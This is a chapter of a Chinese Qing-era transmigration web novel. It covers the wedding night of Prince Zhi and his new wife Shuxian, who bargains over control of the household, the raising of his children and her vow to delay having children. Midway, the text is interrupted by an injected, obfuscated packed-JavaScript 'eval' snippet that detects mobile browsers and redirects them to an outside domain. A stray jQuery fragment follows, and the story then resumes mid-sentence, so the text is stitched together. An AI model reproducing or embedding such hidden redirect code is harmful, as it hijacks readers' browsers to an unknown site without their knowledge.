占了便宜的淑娴,美美饱餐了一顿,然后起身在屋里溜达着消食。
十几圈之后,才洗澡换上衬衣,照旧是一水的正红,连脚上的绣花鞋都是这颜色。
“你们都下去歇着吧,明儿还要早起。”
淑娴把屋里伺候的人都打发了,自个儿半瘫在炕上等人。
虽说是入乡随俗,她预备着拿了俸禄就好好做个贤妻良母,对得起这份年薪五百两白银、五百斛禄米的工资,但没打算卖命卖人。
她的四个陪嫁丫鬟,都是很好的姑娘,将来的婚事总是要随她们自己的心意,而不是被拿来固宠。
她之前便和这四人谈过,两个选择,一是跟着她进王府,将来或嫁人或自梳做嬷嬷或出府,二是留在家里,跟着母亲或是嫂嫂。
石榴、葡萄、小桃和山竹都选择了跟她进府,此外,随她嫁进来的还有赵嬷嬷一家。
未出嫁前,她院子里的人事一直是石榴管着,葡萄和小桃都跟她学过算术、学过记账盘账,也都有着丰富的盘账经验,山竹最是心细,赵嬷嬷则是跟在她额娘身边几十年。
这些人都是她可以信任的,也是她所了解的,在初入王府的这几年,定然要重用,将来再找机会慢慢散出去,免得十年后和她一起失了自由身。
未来几年,她们的目标就是搞钱!
除了王府的俸禄外,她的嫁妆可以说是相当丰厚了,内务府送来的纳彩礼基本全在这里头了,家里、族里和姻亲也都大出血。
两个在近郊的庄子,一个五百亩的,一个三百亩的。
家里在京城的两处香饮铺都给了她,除此之外,还有三处闲置的铺子。
家中的香饮铺从前便是她打理的,除了在京城的两间外,还在江南那边开了几间。
这几间香饮铺除开掌柜有一定的份额外,她和石榴、山竹也有技术分成费可拿,毕竟产品更新都她们负责的,她还有一份额外的管理费。
葡萄和小桃则是会负责每年年底的盘账,以此来赚取一份外快。
先前,她不敢扩大香饮铺子的规模,怕赚太多惹人眼红,被哪家的贵人强娶豪夺了去。
但如今能强取豪夺了直郡福晋产业的贵人应该没几个,直郡王毕竟是皇帝的儿子,现在也不是十年后,直郡王还没有被康熙厌弃,所以她完全可以放心大胆的扩大规模。
现成的铺子——嫁妆里的三处闲置铺面。
现成的生产场地——两个加起来足有八百亩的庄子,里面有一部分的劣田和荒地,正好可以用来建作坊。
现成的管理人员——石榴管人事,葡萄和小桃管财务,山竹管研发,她总揽。
好好干上几年,她们争取把未来养老的钱都赚到。
至于王府这边的中馈,她听说继室难为,有的嫁进去后需要被考察一段时间,有不讲究的人家甚至直接就是侧福晋和格格掌管中馈。
她自然是希望能拿到对王府后院的管理权,如此,她便能更好的为十年后做准备了。
倘若拿不到管理权,她可以收拾和归置的便只有自己住的正院,相比整个后院,正院的面积怕是还占不到十分之一。
不过,就算她拿不到王府后院的管理权,府里的福利应该也不会少了她这边的,毕竟直郡王作为一个有志于大位的皇子,总不能宠妾灭妻吧,自然要给她这个福晋尊重和体面。
外面的喧嚣声渐渐消失,淑娴估摸着王爷应该快来了,便端正坐姿,腰背笔挺,两手交叠放于膝上。
果然,不多时,门尚未开,她便听到了脚步声,闻到了酒臭味。
淑娴抿了抿唇,屏住呼吸。
顶头上司,可不能露出嫌弃的表情来。
起身上前打开房门,就见两名太监扶着一个醉汉。
“福晋主子,爷喝多了酒,奴才已经吩咐膳房送醒酒汤过来了。”赵德福忙道。
只是爷醉成这样,不知道醒酒汤能不能起作用,若今晚一直这么醉着,那可就麻烦了。
赵德福心中忧愁,可却也是没有法子,爷素来海量,却在新婚夜醉到路都走不稳当。
淑娴侧身让开,道:“把爷扶到里面去吧。”
“奴才遵命。”
赵德福和另一名小太监把爷架到婚床上,脱了鞋子,这样才躬身道:“奴才告退。”
小碎步退出去,轻轻把门关上,动作行云流水,恭恭敬敬,不发出一点声响。
淑娴望着门口长吸了一口气,打工人都不容易,她至少拿的还是高薪。
“爷,喝口水?”
淑娴端着茶过去,见没动静,便想把茶盏放到一旁的炕桌上,只是茶盏刚放在桌子上,便听躺床上的人道:“扶我起来。”
淑娴小心将把人扶起来,把软枕放过去让王爷靠着,这位爷才睁开眼睛。
“您喝水?”
淑娴重新把茶盏端起来。
“嗯。”
见这位也没有要伸手的意思,淑娴只能把茶盏端到对方嘴边,小心喂给对方。
“爷再来一盏?”
直郡王摆了摆手,抬手揉了揉太阳穴,刚在外面喝了那么多酒,现在根本就不渴。
“去把桌上的酒盘端来。”
还喝?
她一早就瞧见内间桌上的那套酒具了,金色的,以皇室的财大气粗,那极有可能是纯金的,上面还镶嵌了红宝石。
啧啧啧,这么一套少说也得八九十两银子,都够她们家好几个月的嚼用了。
淑娴很有眼力劲儿的主动给这位爷倒了一杯酒,递过去,见对方不动手,便将酒杯递到王爷嘴边,预备直接喂进去。
直郡王眉头紧皱,往后侧了侧脑袋,没喝,伸手把酒杯接过来。
“再倒一杯。”
再倒一杯?
淑娴后知后觉,这才意识到还有个交杯酒的流程没走。
往另一只金灿灿的酒杯里倒满酒,淑娴端起来后主动把手臂从直郡王手腕处勾过去,一饮而尽。
脑袋晕乎乎的直郡王看得一愣,尔后才仰头将酒送入口中。
他记得他那日去求皇阿玛,对未来福晋的要求中有一条是……胆子不大。
他不希望未来福晋是个胆大之人,胆子大了,便有为了自身利益害人的风险。
皇阿玛是答应了他的,必不可能反悔,也不可能忘了这一条,总不会是连皇阿玛都看走了眼吧。
他怎么瞧,张氏都不像是个胆小之人。
当然,他也并不希望自己的福晋是一个怯懦之人,那样对外丢的是整个直郡王府的脸,是他的脸。
他对继福晋的要求不高,他不需要继福晋有多好的家世,有多漂亮的脸蛋,有多善解人意的性子,他不需要对方出彩,他只需要对方做好一个福晋的本分。
对内,不残害子嗣,管理好后院不出乱子,对外,能够应对正常的人情往来。
如此而已。
“张氏,既结为夫妻,便是难得的缘分,爷也盼着日后能与福晋和美圆满,所以有些规矩,爷要说在前头。”
“您说。”
“孩子是底线,爷不许任何人伤害他们分毫,否则……爷会让他后悔来过这世上。”
淑娴点了点头,这她可以保证,她没有残害小孩子的想法,更没有这种需要。
直郡王接着道:“阿哥所从前的规矩都是依着宫里来的,如今搬出来,规矩暂时不变,府里若有不服顺的人,福晋可以直接照着规矩处理,有不方便的地方,交给爷来办。”
淑娴继续点头,王爷这是直接放权给她了。
甚好,甚好。
她虽然在进房门之前一直蒙着盖头,没有见过这座郡王府的全貌。
但据说这座郡王府占地面积接近四十亩,虽然是分为前院和后院两部分,但这两部分并不是平均分配的,后院的面积要远大于前院,这也就是说后院差不多有三十亩的面积。
三十亩是什么概念,是两万平方米,相当于四十多个篮球场,或是两百多个羽毛球场。
如此大的面积,如果准备充分的话,完全可以实现自给自足,至少也可以让拘禁的日子没那么难熬。
“袁嬷嬷是爷从前的保姆嬷嬷,先前几个月,一直是她代管后院,爷让她来帮你,对外的人情往来皆有成例,照例即可,若有拿不准的地方,可来问爷。”
直郡王想着自己整日早出晚归,时不时还需要出京,在府里待的时间并不多,便又多嘱咐了句。
“若一时半会儿寻不到我,福晋又实在拿不定主意,可以进宫与额娘商议,或者去找四弟妹商量。”
“四弟妹?”
如今的四福晋,未来雍正的皇后?
“四弟妹当年还是个女娃娃的时候就嫁给老四了,跟……先福晋相处时间最久,妯娌俩的感情也向来好,这两年多,后院没有女主子,大格格几人没有额娘照顾,四弟妹没少帮衬。”直郡王解释道。
原来如此。
皇家的事情一直为人津津乐道,淑娴虽然也才回京两年,可也听说了皇子福晋的二三事。
四福晋和八福晋都是娃娃亲,不同的是,四福晋婚事定下没多久就嫁进了皇城,彼时还是个十岁出头的小女娃,而八福晋虽然婚事定下的早,却也是去年才成婚。
皇上目前有七个儿媳,最早嫁进宫中的是从前的大福晋,然后是四福晋,之后是三福晋,太子爷虽然行二,但太子妃进门还在三福晋和四福晋之后。
这在寻常人家是几乎不可能出现的情况,但是在皇家,什么情况都有可能出现,世上最讲规矩的是这家,最不用讲规矩的也是这家。
淑娴一一应下,诚如王爷所说,有些话不如说在前头,彼此都方便。
这位爷不用疑心她会是个狠毒的后母,她也可以尽早拿到对后院和王府资源更多的支配权,也才能更早地为未来做准备。
开诚布公嘛。
“臣妾谨记王爷教诲,臣妾也有几点诉求,还请王爷指教。
首先也是孩子,臣妾自问不是圣人,有了亲生的孩子,或许便不能维持初心了,这不是王爷想看到的,亦不是臣妾想要的。
所以在大阿哥满十五岁之前,臣妾不预备生子,就算是防患于未然吧。”
大阿哥弘昱今年两周岁,等到他满十五岁的时候,已经是十三年后了,那个时候一大家子都被圈在这府里了,生不生还有什么要紧的。
直郡王按着太阳穴,一时间有些怀疑自己是不是醉到出现幻听了。
在弘昱满十五周岁之前都不预备生子,这跟直接放弃生育有什么区别。
张氏虽然年轻,十三年后应该也三十岁了,早就已经过了一个女人生育的最好年纪。
他自问不会亏待张氏,也希望张氏能够善待弘昱,但没想过要剥夺张氏的生育权,张氏是嫡福晋,生儿育女本就是张氏的权利。
“何至于此,该给弘昱的,爷都会给他,可也不至于让福晋如此牺牲,将来如果有了小阿哥,爷也会为他筹谋。”
不用筹谋了,淑娴心说。
一来,她不想生不愿生。
二来,王爷再怎么筹谋都没用,不管是嫡长子还是嫡次子还是庶子,将来都会沦为闲散宗室,且要陪着亲爹坐牢半辈子。
“臣妾心意已决,王爷就成全臣妾吧,臣妾在此对天发誓,在大阿哥弘昱满十五周岁之前,绝不生育,若有违此誓,就让臣妾不得善终。”淑娴伸出三根手指头干脆利落的道。
态度端正,语速极快,完全不留给人插话的余地。
直郡王:“……”
这下不止太阳穴疼了,后槽牙都开始疼。
忍不住开始反思,是不是他刚刚言辞过于激烈,以至于让这小丫头气到发下如此重誓。
他也是现在才意识到,张氏,他今日新娶进门的福晋,还是个年纪不大的小丫头,比他的长女才大了七岁。
一个小丫头,脾气大还有点莽的小丫头,都不用等明年,过几日想起今晚胡乱发出的誓言就该悔得肠子都青了。
“唉。”
直郡王叹了口气,他已经可以想象到这小丫头将来以泪洗面郁郁寡欢的场景了。
也怪他,醉酒后反应慢了半拍,没来得及拦住,早在福晋伸出三根手指指天的时候他就应该把人拦住的。
“不过,避孕药一事还是要麻烦王爷,请大夫为臣妾开副不伤身子的避孕药。”
她害怕生产的鬼门关,也不想承担十月怀胎的辛苦,因此要避孕,但避孕的前提是对身体无害,否则倒不如清心寡欲,好好养生。
所以她需要王爷为她请一位高明的大夫,开不伤身体的避孕药。
当然,她求王爷来做这件事情还有一点私心——通过王爷让宫中知晓此事,让上头的公公婆婆知道,并非她不能生,也不是她不愿生,而是为府中的嫡长子着想,为王爷后院的安稳牺牲。
简单来说,就是希望在公婆那里把‘不生孩子’的锅甩给男方。
直郡王的表情有些一言难尽,但还是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450298|169463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点了点头,话赶话都说到这份上了,他总不能呸呸呸,让人把誓言收回去。
再说这收得回去吗。
直郡王这会儿是彻底酒醒了,漆黑的眼珠看着张氏,他可没忘记,张氏开始时说的是几条要求,刚才那只是第一条。
淑娴清了清嗓子:“第二,是关于几位格格和大阿哥的教养问题,臣妾家里小门小户——”
直郡王抬手打断对方。
“你是福晋,亦是嫡母,教养他们是应该的,从明天起,大阿哥抱到正院来抚养,爷把他交给你。”
女儿们倒不必了,他最小的女儿也六岁了,已经有自己的院子了。
“大格格和二格格也到了该学管家的年纪,福晋有时间多教教她们。”
“三格格和四格格年纪都还小,正是憨吃憨玩的时候,不必用规矩多约束她们,也就松快这几年了。”
直郡王细细交代着,等弘昱再大一些的时候,可以放到前院他亲自带着,请先生来教,但几个女儿不一样,有些事情是他、是身边的嬷嬷们教不了的。
淑娴笑笑,既然王爷不同她客气,那她也就不客气了。
“第三,王爷既然把后院交给臣妾打理了,那臣妾能不能按照自己的心意布置院子,您放心,只是正院和后院的公共区域,不包括阿哥格格的院子。”
直郡王能说什么,且不说这本来就是小事儿,就算福晋这会儿求他个大的,他也不能拒绝,毕竟人家刚刚可是立了毒誓。
虽不是他的本意,可这也够欺负人的了。
他理亏心虚。
“可以,后院怎么布置都随你的心意,就算把府里的湖填了都行,还有呢?”
还有湖。
她可不填湖,在湖里种些莲藕养些鱼虾倒是可以考虑。
“爷说要把后院交给臣妾打理,那库房的钥匙是不是……”
“明儿爷让人给你送来。”
老板这么好说话,不多砍几刀,以后可能就没这好机会了。
淑娴继续提要求:“我对库房有支配权吗?”
直郡王本来想说有,但又怕这愣丫头哪天把库房都搬空了,不过转念想想库房而已,搬空就算是买教训了,张氏如果不受教训,还不得一直这么愣下去。
想想刚刚的重誓……
“公中库房的东西随你支配,账上的银子也随你支配。”
账上目前没多少银子,明儿他让人去前院取两万两放账上,管家没银子怎么行,更别说福晋好像还打算重新布置后院。
“关于您的几位格格和侍妾,您有要交代的吗?”
按照额娘的话来说,这几位都是跟着王爷的老人了,虽没有生育过,但也有着多年的情分。
第一个伺候过王爷的和王爷在意的,都需要她格外注意。
直郡王皱了皱眉头,福晋这时候问及府中妾室,怕还是为了方才的生育之事。
福晋为了弘昱刚刚都发誓十三年内不会生育了,正经的嫡福晋不生,难道让格格侍妾去生。
侍妾暂且不提,有两个是伴驾南巡时官员孝敬的,有一个是底下门人送的,都养在府里头,按规矩本就是不允许生养的。
几个格格……若有生育之功,将来未必不能被封为侧福晋,有子的侧福晋对上无子的福晋,谁更有底气还真不一定。
誓是福晋发的,可要拉着府里的格格一块服避孕药……这也说不过去。
算了,顺其自然吧,反正他一个月在府里总共也待不了多少天,这两年里,他不伴驾出京的日子,每个月去妾室那里的次数也就三四回,而他每年有一半的时间都伴驾在外。
从前先福晋在时,他去的就更少了,日后就恢复到两年前,只在福晋不方便的时候才去几个妾室那里。
如此也就用不上什么避孕药了。
“格格和侍妾不上玉牒,没有俸禄银子,只有公中发的月银,从前在宫里的时候,格格一个月五两,侍妾一个月三两,如今搬出宫来,人员多开销也大,福晋不妨给她们涨一涨月银。”
这规矩也不是他定的,都有旧例,宫中贵人每年的年俸是一百两,光头阿哥的格格一年领到的月银自然不能越过贵人的年俸去。
“供应也上调些许,这些福晋看着办就行,平日里别亏待了她们,好吃好喝的供着,该立规矩的时候要给她们立规矩。”
在直郡王这里,王府和官衙、兵营都是一样的,要想不出乱子,便要守规矩,要想人心稳,便要让每个人都有好处可拿,当然,谁不守规矩,该罚也一定要罚。
见面之后,王爷说的最多的除了府里的几个孩子外,便是‘规矩’二字了。
淑娴先前在宫中选秀那半个月,也学了许多宫中的规矩,不过那时她是秀女,寻常秀女。
而现在……放下十年后的结局不谈,她现在确实是鸟雀飞上枝头变凤凰了,等同于直接从实习生飞升管理层,还是有股份的管理层,因此绑死在直郡王府这家大厂内。
她需要适应新的身份,也需要学习王府的规矩。
夜渐渐深了,两支龙凤烛静悄悄燃着,换了地方的淑娴一夜好眠无梦,倒是直郡王翻来覆去睡不着。
他虽然看重发妻留下的嫡长子,把这孩子当做心肝当做命根,想过为了这孩子,缓上几年再生子,但从没想过缓上十三年。
十三年后,他也到不惑之年了,不是每个男人都能像皇阿玛这样不惑之年还能接连得子的。
啧……独子。
在世人眼中,独子总归是不保险的,寻常百姓家都讲究多子多福,更别提皇家了,尤其他还有心大位。
前朝的永乐帝曾在长子和次子之间纠结究竟将皇位给谁,结果却是文臣解缙一句‘好圣孙’提醒了永乐皇帝,最终决定将皇位交给生了个好儿子的长子。
或许是醉得头脑发昏了,或许是夜太深,也让人头脑不甚清晰,直郡王在辗转反侧间竟生出荒唐念头。
张氏冒失,才会在仓促之间发下那样的誓言,但也足以见得张氏心善,对世子之位并无野心。
他若是也……是不是便足以证明他也是个没有野心的人,对皇位没有野心,从前、现在和未来的种种努力不过是想做个好儿子、做个贤王,他与太子相争,争的是阿玛的疼爱和看重,而非储君之位。
他的爵位这么多年被压着不封,今年封也只是被封为郡王,可见在皇阿玛心中,始终是不希望他会威胁到太子地位的。
那不如他主动退一步,让皇阿玛放心。